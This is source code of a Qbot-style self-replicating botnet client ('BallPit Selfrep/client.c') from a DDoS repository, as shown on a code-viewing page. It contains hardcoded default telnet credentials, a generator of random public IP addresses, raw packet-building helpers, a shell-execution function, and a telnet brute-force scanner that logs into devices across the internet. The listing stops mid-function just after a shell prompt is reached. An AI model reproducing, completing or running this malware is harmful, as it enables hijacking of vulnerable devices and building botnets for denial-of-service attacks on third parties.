Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Qbot/BallPit Selfrep/client.c
5038 views
1
// ___ __ _
2
// / \___ / _(_)_ __ ___ ___
3
// / /\ / _ \ |_| | '_ \ / _ \/ __|
4
// / /_// __/ _| | | | | __/\__ \
5
// /___,' \___|_| |_|_| |_|\___||___/
6
7
#define PR_SET_NAME 15
8
#define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
9
#define PAD_RIGHT 1
10
#define PAD_ZERO 2
11
#define PRINT_BUF_LEN 12
12
#define CMD_IAC 255
13
#define CMD_WILL 251
14
#define CMD_WONT 252
15
#define CMD_DO 253
16
#define CMD_DONT 254
17
#define OPT_SGA 3
18
19
// _____ _ _
20
// \_ \_ __ ___| |_ _ __| | ___ ___
21
// / /\/ '_ \ / __| | | | |/ _` |/ _ \/ __|
22
// /\/ /_ | | | | (__| | |_| | (_| | __/\__ \
23
// \____/ |_| |_|\___|_|\__,_|\__,_|\___||___/
24
25
#include <stdlib.h>
26
#include <stdarg.h>
27
#include <stdio.h>
28
#include <sys/socket.h>
29
#include <sys/types.h>
30
#include <netinet/in.h>
31
#include <arpa/inet.h>
32
#include <netdb.h>
33
#include <signal.h>
34
#include <strings.h>
35
#include <string.h>
36
#include <sys/utsname.h>
37
#include <unistd.h>
38
#include <fcntl.h>
39
#include <errno.h>
40
#include <netinet/ip.h>
41
#include <netinet/udp.h>
42
#include <netinet/tcp.h>
43
#include <sys/wait.h>
44
#include <sys/ioctl.h>
45
#include <net/if.h>
46
47
// ___ __ _
48
// / __\___ _ __ / _(_) __ _
49
// / / / _ \| '_ \| |_| |/ _` |
50
// / /__| (_) | | | | _| | (_| |
51
// \____/\___/|_| |_|_| |_|\__, |
52
// |___/
53
54
unsigned char *commServer[] =
55
{
56
""
57
};
58
59
// ___ _
60
// / __\ _ _ __ ___| |_(_) ___ _ __ ___
61
// / _\| | | | '_ \ / __| __| |/ _ \| '_ \/ __|
62
// / / | |_| | | | | (__| |_| | (_) | | | \__ \
63
// \/ \__,_|_| |_|\___|\__|_|\___/|_| |_|___/
64
65
int initConnection();
66
int getBogos(unsigned char *bogomips);
67
int getCores();
68
int getCountry(unsigned char *buf, int bufsize);
69
void makeRandomStr(unsigned char *buf, int length);
70
int sockprintf(int sock, char *formatStr, ...);
71
char *inet_ntoa(struct in_addr in);
72
73
// ___ _ _ _
74
// / _ \ | ___ | |__ __ _| |___
75
// / /_\/ |/ _ \| '_ \ / _` | / __|
76
// / /_\\| | (_) | |_) | (_| | \__ \
77
// \____/|_|\___/|_.__/ \__,_|_|___/
78
79
int mainCommSock = 0, currentServer = -1, gotIP = 0;
80
uint32_t *pids;
81
uint32_t scanPid;
82
uint64_t numpids = 0;
83
struct in_addr ourIP;
84
unsigned char macAddress[6] = {0};
85
char *usernames[] = {"root\0", "admin\0", "user\0", "login\0", "guest\0", "support\0", "cisco\0"};
86
char *passwords[] = {"root\0", "toor\0", "admin\0", "user\0", "guest\0", "login\0", "changeme\0", "1234\0", "12345\0", "123456\0", "default\0", "pass\0", "password\0", "support\0", "vizxv\0", "cisco\0"};
87
88
// ___ ___ __ __ ___
89
// / __\/ _ \/__\ /\ \ \/ _ \
90
// / _\ / /_)/ \// / \/ / /_\/
91
// / / / ___/ _ \/ /\ / /_\\
92
// \/ \/ \/ \_/\_\ \/\____/
93
94
#define PHI 0x9e3779b9
95
static uint32_t Q[4096], c = 362436;
96
97
void init_rand(uint32_t x)
98
{
99
int i;
100
101
Q[0] = x;
102
Q[1] = x + PHI;
103
Q[2] = x + PHI + PHI;
104
105
for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
106
}
107
108
uint32_t rand_cmwc(void)
109
{
110
uint64_t t, a = 18782LL;
111
static uint32_t i = 4095;
112
uint32_t x, r = 0xfffffffe;
113
i = (i + 1) & 4095;
114
t = a * Q[i] + c;
115
c = (uint32_t)(t >> 32);
116
x = t + c;
117
if (x < c) {
118
x++;
119
c++;
120
}
121
return (Q[i] = r - x);
122
}
123
124
// _ _ _
125
// /\ /\| |_(_) |___
126
// / / \ \ __| | / __|
127
// \ \_/ / |_| | \__ \
128
// \___/ \__|_|_|___/
129
130
void trim(char *str)
131
{
132
int i;
133
int begin = 0;
134
int end = strlen(str) - 1;
135
136
while (isspace(str[begin])) begin++;
137
138
while ((end >= begin) && isspace(str[end])) end--;
139
for (i = begin; i <= end; i++) str[i - begin] = str[i];
140
141
str[i - begin] = '\0';
142
}
143
144
static void printchar(unsigned char **str, int c)
145
{
146
if (str) {
147
**str = c;
148
++(*str);
149
}
150
else (void)write(1, &c, 1);
151
}
152
153
static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
154
{
155
register int pc = 0, padchar = ' ';
156
157
if (width > 0) {
158
register int len = 0;
159
register const unsigned char *ptr;
160
for (ptr = string; *ptr; ++ptr) ++len;
161
if (len >= width) width = 0;
162
else width -= len;
163
if (pad & PAD_ZERO) padchar = '0';
164
}
165
if (!(pad & PAD_RIGHT)) {
166
for ( ; width > 0; --width) {
167
printchar (out, padchar);
168
++pc;
169
}
170
}
171
for ( ; *string ; ++string) {
172
printchar (out, *string);
173
++pc;
174
}
175
for ( ; width > 0; --width) {
176
printchar (out, padchar);
177
++pc;
178
}
179
180
return pc;
181
}
182
183
static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
184
{
185
unsigned char print_buf[PRINT_BUF_LEN];
186
register unsigned char *s;
187
register int t, neg = 0, pc = 0;
188
register unsigned int u = i;
189
190
if (i == 0) {
191
print_buf[0] = '0';
192
print_buf[1] = '\0';
193
return prints (out, print_buf, width, pad);
194
}
195
196
if (sg && b == 10 && i < 0) {
197
neg = 1;
198
u = -i;
199
}
200
201
s = print_buf + PRINT_BUF_LEN-1;
202
*s = '\0';
203
204
while (u) {
205
t = u % b;
206
if( t >= 10 )
207
t += letbase - '0' - 10;
208
*--s = t + '0';
209
u /= b;
210
}
211
212
if (neg) {
213
if( width && (pad & PAD_ZERO) ) {
214
printchar (out, '-');
215
++pc;
216
--width;
217
}
218
else {
219
*--s = '-';
220
}
221
}
222
223
return pc + prints (out, s, width, pad);
224
}
225
226
static int print(unsigned char **out, const unsigned char *format, va_list args )
227
{
228
register int width, pad;
229
register int pc = 0;
230
unsigned char scr[2];
231
232
for (; *format != 0; ++format) {
233
if (*format == '%') {
234
++format;
235
width = pad = 0;
236
if (*format == '\0') break;
237
if (*format == '%') goto out;
238
if (*format == '-') {
239
++format;
240
pad = PAD_RIGHT;
241
}
242
while (*format == '0') {
243
++format;
244
pad |= PAD_ZERO;
245
}
246
for ( ; *format >= '0' && *format <= '9'; ++format) {
247
width *= 10;
248
width += *format - '0';
249
}
250
if( *format == 's' ) {
251
register char *s = (char *)va_arg( args, int );
252
pc += prints (out, s?s:"(null)", width, pad);
253
continue;
254
}
255
if( *format == 'd' ) {
256
pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
257
continue;
258
}
259
if( *format == 'x' ) {
260
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
261
continue;
262
}
263
if( *format == 'X' ) {
264
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
265
continue;
266
}
267
if( *format == 'u' ) {
268
pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
269
continue;
270
}
271
if( *format == 'c' ) {
272
scr[0] = (unsigned char)va_arg( args, int );
273
scr[1] = '\0';
274
pc += prints (out, scr, width, pad);
275
continue;
276
}
277
}
278
else {
279
out:
280
printchar (out, *format);
281
++pc;
282
}
283
}
284
if (out) **out = '\0';
285
va_end( args );
286
return pc;
287
}
288
289
int zprintf(const unsigned char *format, ...)
290
{
291
va_list args;
292
va_start( args, format );
293
return print( 0, format, args );
294
}
295
296
int szprintf(unsigned char *out, const unsigned char *format, ...)
297
{
298
va_list args;
299
va_start( args, format );
300
return print( &out, format, args );
301
}
302
303
304
int sockprintf(int sock, char *formatStr, ...)
305
{
306
unsigned char *textBuffer = malloc(2048);
307
memset(textBuffer, 0, 2048);
308
char *orig = textBuffer;
309
va_list args;
310
va_start(args, formatStr);
311
print(&textBuffer, formatStr, args);
312
va_end(args);
313
orig[strlen(orig)] = '\n';
314
zprintf("buf: %s\n", orig);
315
int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
316
free(orig);
317
return q;
318
}
319
320
static int *fdopen_pids;
321
322
int fdpopen(unsigned char *program, register unsigned char *type)
323
{
324
register int iop;
325
int pdes[2], fds, pid;
326
327
if (*type != 'r' && *type != 'w' || type[1]) return -1;
328
329
if (pipe(pdes) < 0) return -1;
330
if (fdopen_pids == NULL) {
331
if ((fds = getdtablesize()) <= 0) return -1;
332
if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
333
memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
334
}
335
336
switch (pid = vfork())
337
{
338
case -1:
339
close(pdes[0]);
340
close(pdes[1]);
341
return -1;
342
case 0:
343
if (*type == 'r') {
344
if (pdes[1] != 1) {
345
dup2(pdes[1], 1);
346
close(pdes[1]);
347
}
348
close(pdes[0]);
349
} else {
350
if (pdes[0] != 0) {
351
(void) dup2(pdes[0], 0);
352
(void) close(pdes[0]);
353
}
354
(void) close(pdes[1]);
355
}
356
execl("/bin/sh", "sh", "-c", program, NULL);
357
_exit(127);
358
}
359
if (*type == 'r') {
360
iop = pdes[0];
361
(void) close(pdes[1]);
362
} else {
363
iop = pdes[1];
364
(void) close(pdes[0]);
365
}
366
fdopen_pids[iop] = pid;
367
return (iop);
368
}
369
370
int fdpclose(int iop)
371
{
372
register int fdes;
373
sigset_t omask, nmask;
374
int pstat;
375
register int pid;
376
377
if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
378
(void) close(iop);
379
sigemptyset(&nmask);
380
sigaddset(&nmask, SIGINT);
381
sigaddset(&nmask, SIGQUIT);
382
sigaddset(&nmask, SIGHUP);
383
(void) sigprocmask(SIG_BLOCK, &nmask, &omask);
384
do {
385
pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
386
} while (pid == -1 && errno == EINTR);
387
(void) sigprocmask(SIG_SETMASK, &omask, NULL);
388
fdopen_pids[fdes] = 0;
389
return (pid == -1 ? -1 : WEXITSTATUS(pstat));
390
}
391
392
unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
393
{
394
int got = 1, total = 0;
395
while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
396
return got == 0 ? NULL : buffer;
397
}
398
399
static const long hextable[] = {
400
[0 ... 255] = -1,
401
['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
402
['A'] = 10, 11, 12, 13, 14, 15,
403
['a'] = 10, 11, 12, 13, 14, 15
404
};
405
406
long parseHex(unsigned char *hex)
407
{
408
long ret = 0;
409
while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
410
return ret;
411
}
412
413
int wildString(const unsigned char* pattern, const unsigned char* string) {
414
switch(*pattern)
415
{
416
case '\0': return *string;
417
case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
418
case '?': return !(*string && !wildString(pattern+1, string+1));
419
default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
420
}
421
}
422
423
int getHost(unsigned char *toGet, struct in_addr *i)
424
{
425
struct hostent *h;
426
if((i->s_addr = inet_addr(toGet)) == -1) return 1;
427
return 0;
428
}
429
430
void uppercase(unsigned char *str)
431
{
432
while(*str) { *str = toupper(*str); str++; }
433
}
434
435
int getBogos(unsigned char *bogomips)
436
{
437
int cmdline = open("/proc/cpuinfo", O_RDONLY);
438
char linebuf[4096];
439
while(fdgets(linebuf, 4096, cmdline) != NULL)
440
{
441
uppercase(linebuf);
442
if(strstr(linebuf, "BOGOMIPS") == linebuf)
443
{
444
unsigned char *pos = linebuf + 8;
445
while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
446
while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
447
if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
448
strcpy(bogomips, pos);
449
close(cmdline);
450
return 0;
451
}
452
memset(linebuf, 0, 4096);
453
}
454
close(cmdline);
455
return 1;
456
}
457
458
int getCores()
459
{
460
int totalcores = 0;
461
int cmdline = open("/proc/cpuinfo", O_RDONLY);
462
char linebuf[4096];
463
while(fdgets(linebuf, 4096, cmdline) != NULL)
464
{
465
uppercase(linebuf);
466
if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
467
memset(linebuf, 0, 4096);
468
}
469
close(cmdline);
470
return totalcores;
471
472
}
473
474
void makeRandomStr(unsigned char *buf, int length)
475
{
476
int i = 0;
477
for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
478
}
479
480
int recvLine(int socket, unsigned char *buf, int bufsize)
481
{
482
memset(buf, 0, bufsize);
483
484
fd_set myset;
485
struct timeval tv;
486
tv.tv_sec = 30;
487
tv.tv_usec = 0;
488
FD_ZERO(&myset);
489
FD_SET(socket, &myset);
490
int selectRtn, retryCount;
491
if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
492
while(retryCount < 10)
493
{
494
sockprintf(mainCommSock, "PING");
495
496
tv.tv_sec = 30;
497
tv.tv_usec = 0;
498
FD_ZERO(&myset);
499
FD_SET(socket, &myset);
500
if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
501
retryCount++;
502
continue;
503
}
504
505
break;
506
}
507
}
508
509
unsigned char tmpchr;
510
unsigned char *cp;
511
int count = 0;
512
513
cp = buf;
514
while(bufsize-- > 1)
515
{
516
if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
517
*cp = 0x00;
518
return -1;
519
}
520
*cp++ = tmpchr;
521
if(tmpchr == '\n') break;
522
count++;
523
}
524
*cp = 0x00;
525
526
// zprintf("recv: %s\n", cp);
527
528
return count;
529
}
530
531
int connectTimeout(int fd, char *host, int port, int timeout)
532
{
533
struct sockaddr_in dest_addr;
534
fd_set myset;
535
struct timeval tv;
536
socklen_t lon;
537
538
int valopt;
539
long arg = fcntl(fd, F_GETFL, NULL);
540
arg |= O_NONBLOCK;
541
fcntl(fd, F_SETFL, arg);
542
543
dest_addr.sin_family = AF_INET;
544
dest_addr.sin_port = htons(port);
545
if(getHost(host, &dest_addr.sin_addr)) return 0;
546
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
547
int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
548
549
if (res < 0) {
550
if (errno == EINPROGRESS) {
551
tv.tv_sec = timeout;
552
tv.tv_usec = 0;
553
FD_ZERO(&myset);
554
FD_SET(fd, &myset);
555
if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
556
lon = sizeof(int);
557
getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
558
if (valopt) return 0;
559
}
560
else return 0;
561
}
562
else return 0;
563
}
564
565
arg = fcntl(fd, F_GETFL, NULL);
566
arg &= (~O_NONBLOCK);
567
fcntl(fd, F_SETFL, arg);
568
569
return 1;
570
}
571
572
int listFork()
573
{
574
uint32_t parent, *newpids, i;
575
parent = fork();
576
if (parent <= 0) return parent;
577
numpids++;
578
newpids = (uint32_t*)malloc((numpids + 1) * 4);
579
for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
580
newpids[numpids - 1] = parent;
581
free(pids);
582
pids = newpids;
583
return parent;
584
}
585
586
int negotiate(int sock, unsigned char *buf, int len)
587
{
588
unsigned char c;
589
590
switch (buf[1]) {
591
case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
592
case CMD_WILL:
593
case CMD_WONT:
594
case CMD_DO:
595
case CMD_DONT:
596
c = CMD_IAC;
597
send(sock, &c, 1, MSG_NOSIGNAL);
598
if (CMD_WONT == buf[1]) c = CMD_DONT;
599
else if (CMD_DONT == buf[1]) c = CMD_WONT;
600
else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
601
else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
602
send(sock, &c, 1, MSG_NOSIGNAL);
603
send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
604
break;
605
606
default:
607
break;
608
}
609
610
return 0;
611
}
612
613
int matchPrompt(char *bufStr)
614
{
615
char *prompts = ":>%$#\0";
616
617
int bufLen = strlen(bufStr);
618
int i, q = 0;
619
for(i = 0; i < strlen(prompts); i++)
620
{
621
while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
622
if(*(bufStr + bufLen - q) == prompts[i]) return 1;
623
}
624
625
return 0;
626
}
627
628
int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
629
{
630
int bufferUsed = initialIndex, got = 0, found = 0;
631
fd_set myset;
632
struct timeval tv;
633
tv.tv_sec = timeout;
634
tv.tv_usec = timeoutusec;
635
unsigned char *initialRead = NULL;
636
637
while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
638
{
639
FD_ZERO(&myset);
640
FD_SET(fd, &myset);
641
if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
642
initialRead = buffer + bufferUsed;
643
got = recv(fd, initialRead, 1, 0);
644
if(got == -1 || got == 0) return 0;
645
bufferUsed += got;
646
if(*initialRead == 0xFF)
647
{
648
got = recv(fd, initialRead + 1, 2, 0);
649
if(got == -1 || got == 0) return 0;
650
bufferUsed += got;
651
if(!negotiate(fd, initialRead, 3)) return 0;
652
} else {
653
if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
654
}
655
}
656
657
if(found) return 1;
658
return 0;
659
}
660
661
// _____ ___ _ _ _
662
// \_ \/ _ \ /\ /\| |_(_) |___
663
// / /\/ /_)/ / / \ \ __| | / __|
664
// /\/ /_/ ___/ \ \_/ / |_| | \__ \
665
// \____/\/ \___/ \__|_|_|___/
666
667
static uint8_t ipState[5] = {0}; //starting from 1 becuz yolo
668
in_addr_t getRandomPublicIP()
669
{
670
if(ipState[1] > 0 && ipState[4] < 255)
671
{
672
ipState[4]++;
673
char ip[16] = {0};
674
szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
675
return inet_addr(ip);
676
}
677
678
ipState[1] = rand() % 255;
679
ipState[2] = rand() % 255;
680
ipState[3] = rand() % 255;
681
ipState[4] = 0;
682
while(
683
(ipState[1] == 0) ||
684
(ipState[1] == 10) ||
685
(ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 127)) ||
686
(ipState[1] == 127) ||
687
(ipState[1] == 169 && ipState[2] == 254) ||
688
(ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||
689
(ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||
690
(ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||
691
(ipState[1] == 192 && ipState[2] == 168) ||
692
(ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||
693
(ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||
694
(ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||
695
(ipState[1] >= 224)
696
)
697
{
698
ipState[1] = rand() % 255;
699
ipState[2] = rand() % 255;
700
ipState[3] = rand() % 255;
701
}
702
703
char ip[16] = {0};
704
szprintf(ip, "%d.%d.%d.0", ipState[1], ipState[2], ipState[3]);
705
return inet_addr(ip);
706
}
707
708
in_addr_t getRandomIP(in_addr_t netmask)
709
{
710
in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
711
return tmp ^ ( rand_cmwc() & ~netmask);
712
}
713
714
unsigned short csum (unsigned short *buf, int count)
715
{
716
register uint64_t sum = 0;
717
while( count > 1 ) { sum += *buf++; count -= 2; }
718
if(count > 0) { sum += *(unsigned char *)buf; }
719
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
720
return (uint16_t)(~sum);
721
}
722
723
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
724
{
725
726
struct tcp_pseudo
727
{
728
unsigned long src_addr;
729
unsigned long dst_addr;
730
unsigned char zero;
731
unsigned char proto;
732
unsigned short length;
733
} pseudohead;
734
unsigned short total_len = iph->tot_len;
735
pseudohead.src_addr=iph->saddr;
736
pseudohead.dst_addr=iph->daddr;
737
pseudohead.zero=0;
738
pseudohead.proto=IPPROTO_TCP;
739
pseudohead.length=htons(sizeof(struct tcphdr));
740
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
741
unsigned short *tcp = malloc(totaltcp_len);
742
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
743
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
744
unsigned short output = csum(tcp,totaltcp_len);
745
free(tcp);
746
return output;
747
}
748
749
void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
750
{
751
iph->ihl = 5;
752
iph->version = 4;
753
iph->tos = 0;
754
iph->tot_len = sizeof(struct iphdr) + packetSize;
755
iph->id = rand_cmwc();
756
iph->frag_off = 0;
757
iph->ttl = MAXTTL;
758
iph->protocol = protocol;
759
iph->check = 0;
760
iph->saddr = source;
761
iph->daddr = dest;
762
}
763
764
int sclose(int fd)
765
{
766
if(3 > fd) return 1;
767
close(fd);
768
return 0;
769
}
770
771
// _____ _ _ __ _ _
772
// /__ \___| |_ __ ___| |_ / _\ ___ __ _ _ __ _ __ ___ _ __ | | ___| |
773
// / /\/ _ \ | '_ \ / _ \ __| \ \ / __/ _` | '_ \| '_ \ / _ \ '__| | |/ _ \ |
774
// / / | __/ | | | | __/ |_ _\ \ (_| (_| | | | | | | | __/ | | | __/ |
775
// \/ \___|_|_| |_|\___|\__| \__/\___\__,_|_| |_|_| |_|\___|_| |_|\___|_|
776
777
void StartTheLelz()
778
{
779
int max = (getdtablesize() / 4) * 3, i, res;
780
fd_set myset;
781
struct timeval tv;
782
socklen_t lon;
783
int valopt;
784
785
max = max > 512 ? 512 : max;
786
787
struct sockaddr_in dest_addr;
788
dest_addr.sin_family = AF_INET;
789
dest_addr.sin_port = htons(23);
790
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
791
792
struct telstate_t
793
{
794
int fd;
795
uint32_t ip;
796
uint8_t state;
797
uint8_t complete;
798
uint8_t usernameInd;
799
uint8_t passwordInd;
800
uint32_t totalTimeout;
801
uint16_t bufUsed;
802
char *sockbuf;
803
} fds[max];
804
memset(fds, 0, max * (sizeof(int) + 1));
805
for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
806
struct timeval timeout;
807
timeout.tv_sec = 5;
808
timeout.tv_usec = 0;
809
while(1)
810
{
811
for(i = 0; i < max; i++)
812
{
813
switch(fds[i].state)
814
{
815
case 0:
816
{
817
memset(fds[i].sockbuf, 0, 1024);
818
819
if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
820
else {
821
fds[i].passwordInd++;
822
if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
823
if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
824
}
825
dest_addr.sin_family = AF_INET;
826
dest_addr.sin_port = htons(23);
827
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
828
dest_addr.sin_addr.s_addr = fds[i].ip;
829
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
830
setsockopt (fds[i].fd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
831
setsockopt (fds[i].fd, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
832
if(fds[i].fd == -1) { continue; }
833
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
834
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { /*printf("close %lu\n",fds[i].ip);*/ sclose(fds[i].fd); fds[i].complete = 1; }
835
else { fds[i].state = 1; fds[i].totalTimeout = 0; }
836
}
837
break;
838
839
case 1:
840
{
841
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
842
843
FD_ZERO(&myset);
844
FD_SET(fds[i].fd, &myset);
845
tv.tv_sec = 0;
846
tv.tv_usec = 10000;
847
res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
848
if(res == 1)
849
{
850
lon = sizeof(int);
851
valopt = 0;
852
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
853
if(valopt)
854
{
855
sclose(fds[i].fd);
856
fds[i].state = 0;
857
fds[i].complete = 1;
858
} else {
859
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
860
fds[i].totalTimeout = 0;
861
fds[i].bufUsed = 0;
862
memset(fds[i].sockbuf, 0, 1024);
863
fds[i].state = 2;
864
continue;
865
}
866
} else if(res == -1)
867
{
868
sclose(fds[i].fd);
869
fds[i].state = 0;
870
fds[i].complete = 1;
871
}
872
873
if(fds[i].totalTimeout + 5 < time(NULL)) //was if(fds[i].totalTimeout + 5 < time(NULL))
874
{
875
sclose(fds[i].fd);
876
fds[i].state = 0;
877
fds[i].complete = 1;
878
}
879
}
880
break;
881
882
case 2:
883
{
884
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
885
if(matchPrompt(fds[i].sockbuf)) {
886
fds[i].state = 7;
887
}
888
889
if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
890
{
891
fds[i].totalTimeout = 0;
892
fds[i].bufUsed = 0;
893
memset(fds[i].sockbuf, 0, 1024);
894
fds[i].state = 3;
895
continue;
896
} else {
897
fds[i].bufUsed = strlen(fds[i].sockbuf);
898
}
899
900
if(fds[i].totalTimeout + 30 < time(NULL))
901
{
902
sclose(fds[i].fd);
903
fds[i].state = 0;
904
fds[i].complete = 1;
905
}
906
}
907
break;
908
909
case 3:
910
{
911
if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
912
if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
913
fds[i].state = 4;
914
}
915
break;
916
917
case 4:
918
{
919
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
920
921
if(readUntil(fds[i].fd, "assword:", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
922
{
923
fds[i].totalTimeout = 0;
924
fds[i].bufUsed = 0;
925
if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
926
else fds[i].state = 7;
927
memset(fds[i].sockbuf, 0, 1024);
928
continue;
929
} else {
930
if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
931
fds[i].bufUsed = strlen(fds[i].sockbuf);
932
}
933
934
if(fds[i].totalTimeout + 8 < time(NULL)) //was if(fds[i].totalTimeout + 8 < time(NULL))
935
{
936
sclose(fds[i].fd);
937
fds[i].state = 0;
938
fds[i].complete = 1;
939
}
940
}
941
break;
942
943
case 5:
944
{
945
if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
946
if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
947
fds[i].state = 6;
948
}
949
break;
950
951
case 6:
952
{
953
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
954
955
if(readUntil(fds[i].fd, "ncorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
956
{
957
fds[i].totalTimeout = 0;
958
fds[i].bufUsed = 0;
959
if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
960
if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
961
else fds[i].state = 7;
962
memset(fds[i].sockbuf, 0, 1024);
963
continue;
964
} else {
965
fds[i].bufUsed = strlen(fds[i].sockbuf);
966
}
967
968
if(fds[i].totalTimeout + 30 < time(NULL))
969
{
970
sclose(fds[i].fd);
971
fds[i].state = 0;
972
fds[i].complete = 1;
973
}
974
}
975
break;
976
977
case 7:
978
{
979
